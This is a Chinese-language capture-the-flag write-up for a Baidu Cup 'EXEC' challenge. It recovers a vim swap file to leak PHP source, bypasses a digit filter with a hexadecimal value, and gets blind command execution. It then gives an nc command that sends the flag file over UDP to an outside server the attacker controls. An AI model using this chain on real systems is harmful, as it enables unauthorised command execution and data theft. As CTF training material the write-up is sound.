百度杯CTF比赛 十月场-------EXEC
程序员文章站
2022-04-08 17:57:35
...
===============================
个人收获
1.命令盲注
2.vim文件泄露
3.nc的使用
================================
题目:
查看源码出现这个,猜测为vim文件泄露
再浏览器输入.index.php.swp果然出现下载连接
我们把下载来的文件用 vim打开
vim -r .index.php.swp
<html>
<head>
<title>blind cmd exec</title>
<meta language='utf-8' editor='vim'>
</head>
</body>
<img src=pic.gif>
<?php
/*
flag in flag233.php
*/
function check($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
setcookie('auth','tcp tunnel is forbidden!');
if(isset($_POST['cmd'])){
$command=$_POST[cmd];
$result=exec($command);
//echo $result;
}
}else{
die('no sign');
}
这里有一个check函数需要绕过,这个函数会对照number的每个数字,绕过再1-9的范围内就返回错误,但是最后又要==11259375,很明显这里可以用十六进制来绕过即可
里面还有 setcookie('auth','tcp tunnel is forbidden!'); 这段提示说明TCP被禁止不能用curl,而且cmd命令执行后也没有回显,但最前面的注释告诉了我们flag的文件,那么我们直接用nc命令把flag文件下过来,我们需要一台有公网ip的服务器
我们再服务器上运行
nc -u -l -p 55566
然后再题目哪post cmd=nc -u 你的ip地址 55566 < flag233.php